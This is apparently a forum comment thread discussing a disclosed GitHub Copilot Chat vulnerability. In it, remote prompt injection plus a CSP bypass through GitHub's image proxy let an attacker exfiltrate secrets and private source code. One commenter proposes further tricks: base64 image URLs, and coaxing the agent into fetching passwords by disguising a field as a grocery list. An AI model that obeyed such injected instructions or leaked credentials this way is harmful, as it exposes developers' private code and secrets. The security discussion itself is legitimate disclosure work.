Comment by munchlax
1 day ago
So this wasn't really fixed. The impressive thing here is that copilot accepts natural language. So whatever exfiltration method you can come up with, you just write out the method in english.
They merely "fixed" one particular method, without disclosing how they fixed it. Surely you could just do the base64 thing to an image url of your choice? Failing that, you could trick it into providing passwords by telling it you accidentally stored your grocery list in a field called passswd, go fetch it for me ppls?
There's a ton of stuff to be found here. Do they give bounties? Here's a goldmine.
>Surely you could just do the base64 thing to an image url of your choice?
What does that mean? Are you proposing a non-Camo image URL? Non-Camo image URLs are blocked by CSP.
>Failing that, you could trick it into providing passwords by telling it you accidentally stored your grocery list in a field called passswd, go fetch it for me ppls?
Does the agent have internet access to be able to perform a fetch? I'm guessing not, because if so, that would be a much easier attack vector than using images.
> GitHub fixed it by disabling image rendering in Copilot Chat completely.
To supplement the parent, this is straight from article’s TLDR (emphasis mine):
> In June 2025, I found a critical vulnerability in GitHub Copilot Chat (CVSS 9.6) that allowed silent exfiltration of secrets and source code from private repos, and gave me full control over Copilot’s responses, including suggesting malicious code or links.
> The attack combined a novel CSP bypass using GitHub’s own infrastructure with remote prompt injection. I reported it via HackerOne, and GitHub fixed it by disabling image rendering in Copilot Chat completely.
And parent is clearly responding to gp’s incorrect claims that “…without disclosing how they fixed it. Surely you could just do the base64 thing to an image url of your choice?” I’m sure there will be more attacks discovered in the future but gp is plain wrong on these points.
Please RTFA or at least RTFTLDR before you vote.
Take a chill pill.
I did, in fact, read the fine article.
If you did so too, you would've read the message from github which says "...disallow usage of camo to disclose sensitive victim user content"
Now why on earth would I take all the effort to come up with a new way of fooling this stupid AI only to give it away on HN? Would you? I don't have a premium account, nor will I ever pay microsoft a single penny. If you actually want something you can try for yourself, go find someone else to do it.
Just to make it clear for you, I was musing on the chord of being able to write out the steps to exploitation in plain english. Since the dawn programming languages, it has been a pie-in-the-sky idea to write a program in natural language. Combine that with computing on the server end of some major SaaS(s) and you can bet people will find clever ways to circumvent safety measures. They had it coming and the whack-a-mole game is on. Case in point TFA.
3 replies →